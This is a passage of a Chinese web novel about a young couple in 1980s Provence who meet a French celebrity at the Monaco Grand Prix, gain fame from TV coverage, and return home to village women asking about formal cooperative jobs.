夏洛特·维吉妮不在他们的包厢里,也不是伊内斯安排的 她怎么会主动过来打招呼的呢? “你好。”罗南和佐伊礼貌的打招呼。 似乎是看到了空气中弥漫的尴尬因子,夏洛特·维吉妮主动讲起了她来打招呼的缘由,不过这个理由让罗南和佐伊更加惊讶了。 “听说你们经营了一家专门做编织家具的手工艺合作社。”夏洛特·维吉妮热情的问道,“我马上要装修房子了,而且对这种家具很感兴趣.我可以成为你们的vip会员吗?” 罗南和佐伊像是双胞胎一样,同时倒吸一口凉气,脱口而出: “你的新房子,不会在卢尔马兰吧?!” 这次轮到夏洛特·维吉妮惊讶了。 她把墨镜摘了下来,也顾不上什么明星的表情管理了,瞪着眼睛惊恐的问: “上帝,是有杂志爆料了吗?你们在哪个杂志看到的,或者哪家报纸?我要去让我的经纪人告他们!这是在侵犯我的隐私权!” 罗南尴尬的闭上嘴,不知要如何解释。 总不能说,有人为了炒卢尔马兰的房价故意把这个消息散播出去的吧? 佐伊嘴巴嚅嗫了几下,坦白道: “小长假期间,你去卢尔马兰看房子的消息我们全村都知道了,村民们每天都会讨论你是不是买了卢尔马兰的房子。” 夏洛特·维吉妮哀嚎出口: “不是吧?!我买那栋房子就是为了寻清净啊,怎么逃到小山村里还会这样啊?” 这位近几年法国涌现出的新生代双栖艺人可以管理好自己的表情,但管理不太好自己的情绪。 听到罗南和佐伊的回答,情绪肉眼可见的崩溃了,开始寻思,把已经付完全款、但还没有走完过户流程的房子退掉可能性有多高。 这家伙不是开玩笑,而是认真的。 因为她都开始盘算如果这个流程走不通,要请哪个法国著名律师帮忙了。 见夏洛特越说越离谱,罗南和佐伊劝诫她说,大家只是知道她去看房子了,但不知道看的是哪栋,所以情况也没有那么差。 而且那房子距离卢尔马兰村中心有一段距离,她在那里不会被人打扰,至少村民没有什么机会去打扰她,小报媒体什么的就不清楚了。 “可你们知道我的房子在哪里啊。”夏洛特刚觉得有被安慰道,又发现了一个bug,情绪再一次起伏起来。 女孩子之间的友谊总是建立的非常迅速。 在短短的十几分钟接触中,由于佐伊温柔的开导,让夏洛特对她产生了信任,因此佐伊说的话还是有一定信服力的。 “那是由于我爸爸是做房产中介的,所以他知道一些细节信息,跟我们讲过,但我发誓,以他的专业度绝对不会把这个消息外传,而且即使是我们,也只知道你的房子距离卢尔马兰好几公里这个信息,并不知道它具体在哪。” 罗南也安慰道: “如果不放心,你可以多请几个保安,那就万无一失了。” “或者我和罗南在村里散步一些假的消息,说你没有买卢尔马兰的房子,我们俩在卢尔马兰有一些威信力,大家应该会相信我们说的话。” “诶,这个办法好,就说我们在摩纳哥遇到你了,还当面问了,可信度又升高了。” 罗南和佐伊不停的给夏洛特想办法,试图缓解她的焦虑。 对面情绪管理做的不太成熟的法国女星,突然收敛起一脸愁容,小心翼翼的问: “卢尔马兰的村民都像你们一样热情吗?” 罗南和佐伊互看了一眼,同时笑了。 “如果你问其他问题,我还真不敢保证,但如果说热情,卢尔马兰人在吕贝隆说第二,没有人敢说第一,我的餐厅装修时,大半个村子都来帮忙了。” 夏洛特·维吉妮脸上的喜悦显而易见: “嗯那房子就不退了,即使被村民们知道了住处,我猜他们也不会做出什么伤害我的事情吧?那么请允许我重新介绍下自己,你们好啊,我在卢尔马兰认识的第一和第二位朋友!” 请假条 忙碌的日子基本结束。 休息一天,明天我自己去医院看个病,8月1号开始恢复双更。 《1986:我的普罗旺斯幸福生活》请假条 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 《1986:我的普罗旺斯幸福生活》爱曲小说全文字更新,牢记网址: 第471章 专业的夏洛特! 即将要拥有一位新的邻居,而且是一位明星邻居,让罗南和佐伊欣喜不已。 夏洛特说今年下半年她的主要工作是筹备新专辑,不需要频繁的四处奔波,所以等房子装好,在卢尔马兰生活的时间会挺长的。 她希望吕贝隆的美丽景色和风土人情能提升创作效率,并带给她一些不同的创作灵感。 这可谓是‘里程碑式’的进步,终于有除了艺术家外的名人明星来卢尔马兰生活了。 请注意是生活,而不是度假! 是有一位新生代的法国明星要真实的在卢尔马兰生活了! 这是卢尔马兰非常重要的发展讯号,因为金三角等明星村子里都有长期定居的名人背书,这代表卢尔马兰和那些村子的距离再次拉近了。 为了让这位新邻居尽快了解卢尔马兰的全部,罗南和佐伊热情的给她介绍起了卢尔马兰的方方面面,以希望她能最大程度的适应这里的生活节奏和方式。 小情侣讲的全都是很贴近生活的信息,和房产顾问为了让顾客掏钱买房子时的介绍不同,虽然说的都是好话,但侧重点完全不一样了。 他们给夏洛特推荐了至少十处看日落的最佳地点,还把卢尔马兰方圆20公里内最好吃的提拉米苏(夏洛特最爱的甜品)店铺分享了,甚至还给了她一些买酒的建议。 “我当然首推斯特斯加的粉红酒,但如果你不喜欢喝粉红酒,我推荐你尝尝古德村的高度蒸馏酒,无论是路边的散装酒,还是个人酿酒合作社做的樱桃酒、梨子酒和蜂蜜酒都非常棒,我和佐伊的朋友都非常喜欢。”罗南聊起酒来兴致勃勃,“等你搬来了,我去给你送一些尝尝。” 身为一名创作型歌手和一名体验派演员,酒精是夏洛特最好的朋友,她嘴里已经出现了酒的味道,猛猛点头: “都喝都喝,我不挑,而且我很喜欢喝粉红酒。” 罗南和佐伊的基本信息已经不是秘密,即使像自发来看F1的夏洛特也从媒体或者朋友口中知道了这情侣是做什么的,自然也知道这两个人经营着普罗旺斯最大的粉红酒庄。 夏洛特对粉红酒并不排斥,但也没有那么喜欢,不过这个时刻还是要表现积极一些的,毕竟这两位新邻居实在太热情了。 佐伊也尽心尽力的帮助夏洛特融入其中: “送酒的时候,我再带一些卡瓦永甜瓜,之后我们买的时候都把你的那份带出来。” 夏洛特无法大摇大摆的在路上出现,罗南和佐伊未来要代劳许多事情了。 怎料夏洛特听到这话,悔恨之情溢于言表: “这跟我想象中的吕贝隆生活完全不一样,我设想的是安静的享受大自然的馈赠,过着古朴又休闲的生活但你们介绍之后,我觉得搬过去之后有的‘忙’了,可以干的事情太多。” 罗南对此非常有发言权: “我搬来的时候和你的心态差不多,但在这里生活了一年半之后,我的感觉是——” 他微微停顿了一下,笑着摊开双手: “闲不下来,是真的闲不下来,吕贝隆的生活太丰富了,不过我发誓,虽然很忙,但心里是幸福的。” 土生土长的卢尔马兰人佐伊露出幸福的笑容: “我相信未来的生活会更加丰富,因为来了许多新伙伴,卢尔马兰还要扩建了,说不定以后不用去其他村子,在卢尔马兰就有许多有趣的事情可以做。” 夏洛特憧憬了几秒,突然回想起了来找罗南和佐伊的目的。 他们几个同龄人聊的太投机,把正事都忘了! “你的家具店!”夏洛特拿着墨镜的手点了几下,“我在马赛见过卢尔马兰手工艺合作社的编织椅子,第一眼就爱上了,我要成为vip,快给我介绍一下!” 现在合作社每个月都能卖出几十把椅子,在马赛见到它并不意外,只是罗南有些意外于夏洛特为什么这么纠结于那个vip,他甚至还没有把阿普特的线下地址告诉她呢。 “你可以去阿普特我们的临时店铺看,如果方便,你也可以去卢尔马兰看大家如何制作,等你选好了款式再说vip吧。”罗南并不是一个黑心的老板,“那需要一些准入门槛。” 夏洛特马上接话: “我知道你们的准入门槛,刚刚有人跟我提起过,5万法郎可以进入,那太便宜了!不是很快就能达成了?” 罗南把嘴边的话全部咽了下去。 桑德琳是不是把5万法郎定少了? 正赛比的如火如荼,耳边的机械轰鸣声不停催促——你们都是公众人物,‘逃课’太久不好,得赶紧回去了。 夏洛特依依不舍的说: “未来大家就是邻居了,见面碰头的机会非常多,不要占用今天这么重要的时间,我们回去吧。” 她压低了声音,神秘兮兮的说: “今天的直播导演我认识,之前合作过,他非常爱给45度的镜头,你们一会回去记得待在冲线后方斜45度的区域里,这样镜头就总能扫到你们了。” 罗南和佐伊皆是一愣。 真的假的? 夏洛特戴上墨镜,踩着模特步离开了这个安静的角落,离开之前,她还不忘嘱咐身后没有经验的小情侣: “走到我这里时就要注意表情管理了啊宝贝们,镜头不知道在哪里盯着我们呢!” 1987年的F1摩纳哥站大奖赛冠军得主是埃尔顿·塞纳。 这位来自巴西的车手,力压普罗斯特和曼塞尔等热门车手,驾驶白金色Lotus 99T赛车以最快的速度完成了78圈,领先第二名33秒钟。 比赛结束,塞纳在山呼海啸的欢呼声中完成了巡场圈,又披着国旗完成了领奖仪式和香槟大战。 观众们都以为,今天的最终胜利者是这位来自巴西的幸运小伙子,殊不知,在许多核心嘉宾的心目中,这次F1摩纳哥站的‘胜利者’远不止一个。 车队更衣室、封闭停车区、颁奖台上、赞助商log板前都出现了那对名叫罗南和佐伊的情侣身影。 他们像是大明星一样,在一个个场景内合影留念。 还有人传,罗南和佐伊还拍摄了一组亲吻奖杯的照片似乎今天第一个完成78圈的是他们,就是不知道这个消息的真假了。 众所周知,普罗旺斯最不缺故事和讲故事的人了。 不过还是有些人留了个心眼,想要等一等明天或者未来一段时间的媒体稿件和杂志素材,看是否能找到那些照片了。 “谢谢会长,谢谢会长!”罗南不停地90度对伊内斯鞠躬,口中的称呼也改为了更加亲切的会长。 伊内斯这两天给罗南和佐伊投入的资源绝对超过了正常合作的范围,罗南都不知道要如何感谢她好了。 米切兰杂志社在摩纳哥还有一些收尾的工作要处理,主要是对车手和车队的采访工作,伊内斯要再待两天才离开。 她也考虑过是不是该让罗南和佐伊也在摩纳哥多待两天,但是想了想,觉得没什么太大的必要。 “最好的资源和活动集中在这两天,你们都参与了,再给你们安排其他事情收益率不高,还是回去休息吧,这两天辛苦了。”伊内斯与佐伊拥抱告别,“我们随时联系,有对你们有帮助活动,再把你们叫来。” 女强人伊内斯习惯了高强度的工作,也习惯了在重要阶段把一天拆成五天用,但她担心把罗南和佐伊累到了。 这两人关乎着米切兰杂志社的未来呢。 “有需要,我们一定会到。”佐伊用承诺的语气说。 拿了米切兰杂志社这么多曝光,不回馈些什么佐伊感觉心里不舒服。 米切兰杂志社涉及各行各业,一定有可以用到他们两个人的时候。 “我不会跟你们客气的。”伊内斯放开佐伊,拥抱罗南,“略伦特的事情我会记得,等我忙完手头的事情就约他。” 伊内斯指的是罗南昨天向她提起的集市申请,伊内斯打算把这件事‘委托’给略伦特。 罗南用力把伊内斯抱住,发自肺腑的感叹: “您对我太好了,等下个月《普罗旺斯艺术指南》发刊,您就应该没有那么忙了吧?到时候把协会的聚会定去我那里,食物、甜品和酒管够。” 伊内斯以前没有那么忙,粉红酒爱好者协会的聚会频率能保证在1-2个月一次。 米切兰杂志社筹备进军艺术领域后,伊内斯变得奇忙无比,上次见面她忙到穿着睡衣出现的。 不过繁忙的日子也快熬到头了。 一提起这件事,伊内斯疲惫的脸上出现了掩饰不住的喜悦: “还是太保守了,应该把你们两个的名次再往前提一提。” 之前担心‘德不配位’,现在也担心‘德不配位’,但一个是担心给高了,一个是后悔给低了。 只能说,伊内斯的眼光的确狠辣,《普罗旺斯艺术指南》还没发刊,下的赌注便早早的赢了。 罗南回拍了几下伊内斯的后背,安慰她道: “后面就交给我们吧,我和佐伊会用实际行动,让一切变得更加简单和稳妥。” 摩纳哥站收获颇丰。 罗南和佐伊在这里得到了关注度,认识了无数的新朋友,结识了一位新的邻居,还过了一把‘明星’瘾。 其他还好,但罗南总觉得‘明星’距离他太远了。 返回酒店取行李前,罗南把脸上的妆洗了,还用水打湿了头发。 ‘湿漉漉小狗’看着此时后视镜里的自己,满意的说: “这才是我,顶着刚才那副面孔回去,只会被人笑话的。” 罗南怕一会回到卢尔马兰,村民们拿他当景点一样合影。 佐伊揉了揉罗南的头发: “不喜欢就不弄,不过结婚的时候可以稍微化一下吧?刚刚我还和那位化妆师留联系方式了呢。” 罗南挑着眉毛说: “结婚可以,那天我要把最好的一面展示给嘉宾看,让他们知道卢尔马兰的璀璨明珠在我的手上绝对值得。” 在欢快、愉悦的氛围中,罗南的车子抵达了酒店门口。 歌迪亚心疼罗南,主动开起了车,拿完行李今天要赶回卢尔马兰。 没有了米切兰杂志社,他们可不想花好几千法郎在摩纳哥住一夜,F1大奖赛前后,这里的酒店太贵了。 这可不是因为穷哈,是觉得不值得。 卢尔马兰的家比这里舒服多了。 这是真心话,包括罗南和佐伊在内,才离开卢尔马兰两天就想家了。 中午抽空回去办退房的歌迪亚告诉小情侣。 特奥和巴蒂他们有可能会早一点回去,不等他们一起了。 但没想到的是,在酒店停车场,他们再一次看到了那些熟悉的车子。 “你们没提前离开?”歌迪亚熄灭车子,用明显开玩笑的语气问,“不是嫌弃这里吃一顿饭要三四百法郎,但像是吃鸡饲料一样吗?” 几个大汉不给歌迪亚反应的机会,粗鲁的将她控制住。 卡福把歌迪亚扛出了驾驶室: “辛苦了,我来开车,你去休息吧。” 康奈尔趁机挤入了驾驶室,一屁股坐下: “还是我来开吧,这车我开过很多次,驾轻就熟。” 特奥撅着屁股从副驾驶向驾驶位爬,用力推康奈尔: “罗南和佐伊累了一天,当然要赶紧回去休息了,我的车技最好,4个小时一定让他们坐在家里的沙发上。” 巴蒂则坐到了康奈尔的大腿上,回头讨好的对罗南说: “3个半小时,我3个半小时就能开到了!” 本已有些困意的罗南被吓精神了,后仰着脑袋,嫌弃的问: “你们要干什么啊?歌迪亚开车就好了,你们快回去开自己的车吧,别闹了。” 热奥咂巴了一下嘴,一脸坏笑的说: “别啊大明星,给您开车是我们的荣幸。” 罗南下意识的摸脸和头发。 心想我都卸妆了啊你在说个什么? 康奈尔的脸在特奥的指缝间若隐若现: “是啊罗南,你就给我一个被人关注的机会吧,说不定有城里姑娘看上我了呢?” 卡福一声暴喝,把巴蒂和康奈尔同时拖出了主驾驶: “罗南,你知道的,我未来要负责合作社的销售工作,成为名人对我们有非常大的帮助,让我跟在你的身边吧。” “你们在说什么?”佐伊皱着眉毛问。 巴蒂抱着卡福比树还粗的腰说: “下午的正赛直播上,镜头总是能带到你们,连解说员都笑了,说背景里经常出现的这对情侣太抓人眼球了。” 嘴硬的特奥,难得的嘴软了: “伙计,你们现在是普罗旺斯的名人了,就带带我们吧,万一路上被人偶遇认出来了,我们也感受一下明星的体验啊,这次比赛有3亿观众看呢!” 罗南和佐伊瞪大眼睛看向对方。 他们下午什么都没做,就是半信半疑的按照夏洛特的建议,坐到了冲线机位斜后方45度的区域里了。 所以,真的被带到了许多镜头吗? 夏洛特这个家伙.蹭曝光的本事绝对是专业的啊! 第472章 DJ,抓个beat 特奥这几个家伙是真的拿罗南和佐伊当作了‘大明星’,不是闹着玩的。 争抢了一两分钟无果,几个人同时妥协了——同意一人开一段,大家平等机会,有没有跟着兄弟变名人的命,就看上帝的安排了。 他们能这么快统一意见的原因是:担心在酒店门口推推搡搡,被人看到,给罗南和佐伊的口碑蒙羞。 现在这对情侣已经是哥几个是否能实现人生逆袭的决定性人物了。 怎么能让他们的形象受损呢? 听到这个答案罗南人都傻了。 不是 这话是一堆高中肄业的大汉嘴里能说出来的? 路上这几个司机的表现让罗南更傻眼了。 是不是上午太累,在车上睡着了.眼前的一切都是梦啊? 车子刚刚驶出摩纳哥进入普罗旺斯范围,罗南便拉了拉佐伊的手: “快掐我两下,出境的时候,特奥是不是对着隔壁车子的司机和乘客说‘普罗旺斯欢迎你们’?” 佐伊也对特奥的表现非常惊讶: “说了,而且特奥还主动给他们指去艾兹的近路,如果不是我们着急回去,看那语气和反应,开车带路都是有可能的。” 罗南身边的朋友中,亨利和特奥属于对游客态度相对较差的两个。 虽然心态和看法已经改变了不少,但偶尔喝多了,还是能听到他们抱怨,外乡人把清净的生活打乱了、生活变得一团糟、游客都是强盗等等类似的言论。 平时游客问路问到眼前,特奥都要根据当天的心情决定帮不帮忙。 今天只是堵车时并排停在一起的陌生人啊就那么积极了? “你们什么意思?我人就坐在前面,距离你们1米不到,就这么大声的议论我?你们是觉得我聋,还是觉得我傻?”特奥戴着墨镜,端端正正的握着方向盘,和他平时吊儿郎当的样子判若两人。 不过一开口,还是那个阴阳怪气的味,这是一时半会改不了的。 “我觉得你疯了,哎,哎哎,我说你认识人家吗,就招手?快停下,快停下!”罗南焦急的拍了两下司机座椅靠背,提示特奥不要这样。 复活节小长假后,普罗旺斯的道路,尤其是靠近蔚蓝海岸的那一端的道路终日处于拥堵状态。 而从摩纳哥到卢尔马兰的路途有一半左右都在这个范围内,开一会就要停一阵子,行进缓慢。 而每次与其他车子并排或错车,特奥就会主动和对方打招呼,有的时候是招手,有的时候是点头,有的时候是微微抬下眉毛,反正不管怎么样吧必须得做点什么。 如果对方也给了回应.那就有意思了。 别管是哪国人,上来就是一通海聊,连比划带说的那种。 听到罗南一而再再而三的奚落,特奥绷不住了,露出了丑恶嘴脸: “别晃了,我抖的跟个傻帽一样!还有我说,你们也跟着微笑啊,万一人家看了直播呢?我不跟你们开玩笑,全球3亿观众里,有5000万都是普罗旺斯贡献的!” 1987年,普罗旺斯大区的总人口不过四百三十多万,特奥的这个比喻是想表达,F1大奖赛在普罗旺斯当地的影响力——几乎每个普罗旺斯男人都会关注这项赛事。 同时也是在向罗南和佐伊表达,这次活动过后,你们真的是普罗旺斯的大明星了! 罗南自然知道这个道理。 能有今天这个局面,都是他和佐伊一步一个脚印‘演’出来的,这就是他们的目的。 罗南只是觉得,特奥现在的表现太招摇了,像个四处开屏的野鸡似的,所以不想顺着他说话。 “看了直播又怎样?你不主动吸引其他人的目光,就没人能认出我们。”罗南愤愤的说。 都着急开车赶路,堵的心烦气躁的.谁会关注旁边车里坐着谁啊? 关注度不都是你引来的? 特奥砸吧了两下嘴,想摸口袋里的烟,硬生生的忍住了,为了维护形象: “就是要吸引他们看过来啊,不然电视不是白上了?只有让你们被人认出来,才能让他们注意到我,我也太聪明了吧!” 突然,他伸出大拇指,指身后的罗南和佐伊,一脸骄傲的问身边堵着的车子: “看F1大奖赛了吗伙计?” “对对对,就是今天下午的摩纳哥大奖赛啊,我们普罗旺斯本地人只关注这场。” “看见我后排的这俩人了吗?我这俩朋友下午在主看台上,导播给了他们好多镜头呢!” 罗南&佐伊:“???” 特奥还算好的,只在堵车不动或者缓慢行驶的时候,通过和旁边车主聊天找存在感。 巴蒂那家伙,连开车的时候都不闲着把敞篷车搞成了移动音响。 罗南去年改装车的时候没花太多钱,只用了9000法郎,大头花在喷漆和改装座椅上,对音响的要求是能出音就行让巴蒂这么一搞,罗南都后悔修那个音箱了,让它当哑巴不好吗? 还好的是,普罗旺斯人天性热情。 巴蒂打开了像‘破锣’一样的音箱,周围的本地车友们都疯狂了。 一个音响在前面放,好几个大嗓门在后面唱,全都玩嗨了。 蔚蓝海岸区域还没开过去,罗南一行人中就有好几个人的嗓子喊哑了,小情侣的世界终于清静了下来。 不过其他人挺遗憾的,一个本地妇女和罗南错车时,意犹未尽的问DJ巴蒂: “确定不放了吗?我的音箱没你的狂野,放不出你的味道。” 罗南和佐伊互看了一眼,异口同声的说。 “这就是普罗旺斯。” “你们普罗旺斯啊。” 开到后半程天已经黑了。 卡福是一个相当靠谱的家伙,虽然他是一行人中最迫切想要‘出名’的那个,这从他对竞争者次次下死手就能看出来。 不过,他同时知道在吕贝隆山区开夜路需要谨慎,全程认真看路,没有搞出什么动静。 小情侣就靠在一起有一搭没一搭的闲聊。 “我时常觉得已经很了解普罗旺斯人了,但每过一段时间,普罗旺斯就会给我一点颜色瞧瞧,警告我——小子,我劝你别小瞧我,想了解我的全部还早着呢!”罗南语气抑扬顿挫的,像是在给小孩子讲故事本一样。 这样的罗南让佐伊情难自已,她摸着罗南的胳膊问: “因为路上飙歌吗?” 佐伊从小耳濡目染,没有罗南那么敏感了。 不过她清楚,许多普罗旺斯人做出来的事情在本地人看来正常不过,但在外地人看来就有些‘不正常’了。 这种‘不正常’才是正常的。 罗南斟酌了一下,侧着脑袋,似乎在思考: “下午发生的事情只是一部分,还有这些人的状态。” 罗南指了下在他们身边行驶的桑德琳的车子。 那里面坐着桑德琳和康奈尔的姐姐,还有她姐姐的孩子。 这两个八竿子打不着的妇女,用了短短两天时间就无话不谈了,两个人正眉飞色舞的说着什么。 罗南看着这一幕,有感而发到: “其实这两天哪里也没玩,但大家似乎都挺开心的。” 这两天跟他来的朋友们一直在酒店里躺着,去过最远的地方就是酒店楼下的餐厅。 但他们一个个看着老开心了。 不只是交到了新朋友的桑德琳二人,罗南能看出来,这次跟着出来的好几个家伙都找到让自己开心和幸福的事情了。 就比如想要跟着罗南出人头地的几位男士。 “可能普罗旺斯人比较好满足?”佐伊不确定的说,“以前很多人对赚钱不积极,觉得够花就行了,但现在这个情况似乎改良了,大家的心态变成了,希望过的越来越好。” “我也不知道答案。”罗南笑着耸肩,刮了一下佐伊的鼻子,“你们普罗旺斯人啊,太复杂了,我可看不透你们,不过唯一能够确认的是,大家都很热情就对了。” “对了。”罗南的话提醒了佐伊,她想到什么问道,“夏洛特在卢尔马兰买房子的消息要告诉大家吗?” 在下午的简短沟通中,夏洛特的心态从惧怕被人知道她在卢尔马兰买了房子,转变成了微微期待被人知道而且还特意提醒罗南和佐伊不用帮她瞒着。 如果未来暴露了行程,坦白承认就好,她还挺期待和村民们有些互动的。 罗南后怕似的摇了摇头,压低声音说: “还是不要主动说,尤其是这个时候。” 他指着前面卡福的后脑勺说: “这些人现在听不得‘明星’这个单词,会热情过头的。” 佐伊微微点头,似笑非笑的叹气: “希望这股‘明星’热能早点刮过去。” 其实罗南和佐伊都想多了。 普罗旺斯好玩的事情太多、可以吸引注意力的事情也多,都不用开到卢尔马兰,这些人就忘记他们两个是‘大明星’了。 最后一任司机是康奈尔。 这个小胖子一上车就闹饿,说在摩纳哥没有一顿是吃饱的,问罗南到了卢尔马兰能不能给他炒道菜,让他配着米饭好好吃几碗。 现在已经到了餐厅打烊的时间,罗南一想,大家下午忙于赶路,没有认真吃饭,尤其这里还有两个孩子于是答应给他做点吃的,并通知各个司机到了卢尔马兰去餐厅集合。 罗南打算看看餐厅后厨有什么,做几道简单的‘大锅菜’,吃饱再回家睡觉。 没成想,餐厅里的情况和他预想的完全不一样。 本该熄了灯的餐厅里灯火辉煌,人头攒动。 这搞的罗南看了好几次表,还傻乎乎的问佐伊,这么贵买的,应该不会坏了吧? “都快9点了,怎么还这么多人?”罗南快步走向亮着灯的餐厅,心里纳闷极了。 推开门一看,更加纳闷了。 里面坐着的全部是熟悉的面孔,都是跟着巴蒂做编织的妇女们。 一见到罗南回来了,她们蹭的一下全部站起来,不到三秒钟就将罗南包裹住了。 “罗南,你终于回来了!” “我们等你好久了!” “哎呀呀,在摩纳哥玩的怎么样?吃好了吗,睡好了吗?饿不饿,需不需要再吃点?” 罗南吓得连连后退。 这情景和下午见到特奥和巴蒂那几个家伙时很相像啊。 村民们也拿他当‘大明星’了? 但不应该啊. 普罗旺斯只有男人关注F1,女人不关心这些体育项目但这周围都是女人啊。 第473章 一轮轮太阳 妇女们热情的对罗南嘘寒问暖。 似乎他退化成了一个无法独立行动的‘宝宝’,什么事都需要人操心。 罗南无力的抗争起来,想要搞清楚面前的状况,但现场的人太多,还统统都想和罗南说句话。 女人的其中一个特质是——在她有极大的表达欲,且憋了很久的时候,表达完全部想法之前.很难有人可以让她停下。 这就导致现场十几个人各说各的,即使听到罗南在问问题,也不想停下,既希望有其他人解答。 罗南的小脑袋像拨浪鼓一样360度摇晃。 如果有记日记的习惯,那么在写今天的日记时,一定会在天气晴之后加一个巨粗无比的标题——今天是属于热情的一天。 后面再加三个大叹号!!! 就在罗南要被这些妇女们的母性光辉照成渣渣之际,他的救星踩着七彩祥云出现了! 阿克尼娜只是在门口出现,稍微咳嗽了一下,原本叽叽喳喳的妇女们便马上噤了声,那反应速度比二十多岁的小姑娘和小伙子还快呢。 反正其他人闭嘴的时候,罗南和佐伊的嘴巴还没停下。 “你们是来吃饭的吗?” “还是来开会的?” “为什么这么晚都不回家啊,我爸爸妈妈呢?” 餐厅里回荡着罗南和佐伊的问话。 阿克尼娜只用了一秒钟便分析明白了眼下的情况和罗南的麻烦,先是用教训的语气对着妇女们的方向说: “罗南在摩纳哥很辛苦,有什么事是非要晚上堵到人家家门口说的?都回去吧,想说什么明天再来。” 说完,阿克尼娜看向罗南。 那是罗南第一次在这位严厉的母亲身上看到其‘温柔’的一面。 妇女队列里走出来一个带着头巾的妇女,是另一位做手工的老人,她对阿克尼娜摆了摆手,将她带到了一个安静没有人的地方。 阿克尼娜先是表情严肃的认真倾听,随后眼睛猛地瞪大了一下,最后惊呼了一声‘真的吗’。 对面那人点了点头,阿克尼娜略有些慌乱的走到罗南面前,吃惊的问: “罗南,你要给我们正式的工作岗位,有固定薪资,有奖金,还能上保险这是不是真的?” 罗南表情难看的‘啊’了一声: “对啊,这事定了有几天了,你们刚刚接到消息吗?” 法比安的妻子波热马上接话: “我们是在你去摩纳哥的早上接到通知的,想找你和巴蒂,但你们人已经出发了,知道你们今天回来,都在这等着呢!” 四大金刚是在出发摩纳哥之前完成的卢尔马兰手工艺合作社第一次重要会议,会议上通过了一些非常重要的公司纲要,并部署了几个重要发展目标。 那是连巴蒂、卡福和桑德琳都感觉到吃惊的举措,没有怎么接触过社会的妇女们自然想要来问问是不是真的,具体的操作是怎样的,但人都不在。 这样的话,罗南就很理解她们的反应了。 但问题是,巴蒂怎么选在那么个时间把消息转达出去啊。 早点或者晚一点不都行吗? 正巧巴蒂带着他那车人进入餐厅,一进来看到妇女们都在,他开心的和大家打招呼: “亲爱的们,两天不见想我了吗?哈哈,不要担心,我一切都好,爱你们啊!” 罗南忍住吐槽,问巴蒂: “你在咱们出发摩纳哥之前,跟妇女们说的新决定?” 罗南误会巴蒂是因为沉浸在摩纳哥之行中,忘记了通知,临出发之前想起来了,才把消息转达出去。 但实际上,巴蒂选择那个时间是故意的。 他比任何人都在意妇女们的感受。 巴蒂收敛起玩世不恭的样子,语气淡淡的说: “一份正式的工作不仅可以带来身份和生活上的改变,还会带来一份责任,但根据我的了解.不是所有人都有条件做全职女工,有些人必须做出艰难的取舍,我们不在,她们才可以认真的思考,到底要不要接受这个挑战,你应该知道她们有多在意你和我的话我怕我们的建议会给她们带来困惑,所以故意留出时间给她们。” 说完,巴蒂看向他的‘宝贝们’: “事情是真的,罗南愿意给大家提供正式的岗位,像城里的其他人一样,这对于大多数人来说都是一件好事,而且是天大的好事,但是对于一部分姐妹来说” 他的眼睛在人群中几个表情和其他人明显不同的妇女脸上扫过。 今天来的大部分人,都是想要确认消息是不是真的。 她们居然有正式工作和正式的社会地位了? 上帝,这是一辈子都不敢想的。 但也有个别几个人来,是想确认——这消息是假的对不对? 许多妇女既是妻子又是妈妈,还是女儿。 她们的精力要更多的放到家庭上,但如果做了全职女工家里怎么办呢? 巴蒂温柔的看着那几张焦虑的面孔: “大家好好考虑,不要着急做决定,入职流程在下个月开始办理,有的是时间,无论最终的选择是什么.我都希望你们开心和快乐。” 虽然是少数人的顾虑,但巴蒂不会忽视每一个妇女的感受。 罗南拍了拍巴蒂的肩膀。 在对待妇女的问题上,巴蒂永远比他想的更全面。 如果说今天妇女们像是一个个热情似火的大太阳照耀着罗南的话,那么巴蒂就是一个小太阳,也许会经常忽视他的存在,但每次注意到的时候,都能感受到他暖暖的,热热的.身上有无尽的能量。 “大家有什么困难可以随时找我和巴蒂,我们一定会尽力给大家解决的。”罗南与巴蒂并肩而站。 妇女们你看看我,我看看你,最终又看向了面前的两个男人。 巴蒂和罗南像是两面高墙,把她们保护到了最安全和舒适的地方。 每一个人都坚信,这两个男人可以帮助她们阻隔或者解决掉所有的困难,而她们要做的就是相信他们! 今天时间太晚了,罗南一行人又没吃饭,并不是聊工作的好时候。 妇女们见到了罗南和巴蒂的态度后陆续回家了。 就像巴蒂说的那样这不只是机遇,也是挑战,她们是不是该接受这个机会呢? 卢尔马兰村的女人们,有工作身份的除了像佐伊那样的年轻人,就是莉亚那二十几个在餐厅各个环节帮忙的中年人而阿克尼娜这帮始终靠手工为生的妇女,平均年纪比莉亚她们还要大。 莉亚和妮可拉等妇女工作后的样子大家都看在了眼睛里。 不止本人的生活变了样,她们对应的家庭也发生了翻天覆地的变化.一向只会闯祸的路易,都会做四菜一汤了。 但莉亚她们还年轻啊。 到底要不要在这么大的年纪,让一整个家庭发生翻天覆地的改变呢? “还在想妇女们的事情?”吃完饭时间很晚了,罗南自然要送佐伊回家。 路上见罗南总是走神,佐伊一下子就猜到了他在想什么。 罗南虽然在想事情,但整体状态还是挺好的: “今天的事,让我想到了一年前的你妈妈。” 佐伊也笑起来: “嗯,确实很像,一样的话题,一样的选择。” 罗南笑着摇头: “在吕贝隆,妇女们的工作是一件大事,这几天一定会有无数个‘莉亚’出现,每天在否定自己和接受挑战之间反复横跳,不过——” 佐伊顺着罗南的话继续说道: “不过你不用担心,今年的情况和去年不一样了。” 罗南嘴角的弧度更大了: “是的,已经有了成功例子,而且大家之前就赚到钱了,妇女们做抉择的时候会更加果断。” 莉亚就是活生生的例子。 她成为了吕贝隆第一个女性持证甜品师,还一个人挑起了罗南餐厅甜品业务的一整根大梁。 每一位游客对甜品的称赞,就是一枚挂在她胸口的荣誉奖章。 这种既收获了金钱,又收获了社会地位的例子摆在面前谁能不心动呢? 佐伊停在自家门口,踮起脚尖亲了亲罗南的嘴巴: “所以不许胡思乱想了,回去好好睡觉,一定都是好消息。” 回忆起这次摩纳哥之行,罗南唯一的遗憾就是没有和佐伊躺到那个大床房上. 临别之际,罗南一点都不想放佐伊离开: “你说,婚礼之前咱们能先住一起吗?” 放在巴黎是没问题的,但他不知道普罗旺斯行不行? 佐伊笑着把罗南推开: “我们未来有一辈子可以一起生活,但和父母一起生活的日子已经进入了倒计时阶段,要按天数了,结婚之前我们好好陪伴父母,不要留有遗憾。” 罗南感觉心里暖暖的。 他身边温柔的‘小太阳’太多了。 阿克尼娜、巴蒂、佐伊. 虽然每个人的本色不同,但很庆幸,大家的底色中都有属于温暖的颜色。 回家的路上,罗南一直在想佐伊的话。 在法国,孩子成婚意味着他们在原生家庭的生活结束,未来要独自撑起一个家庭了。 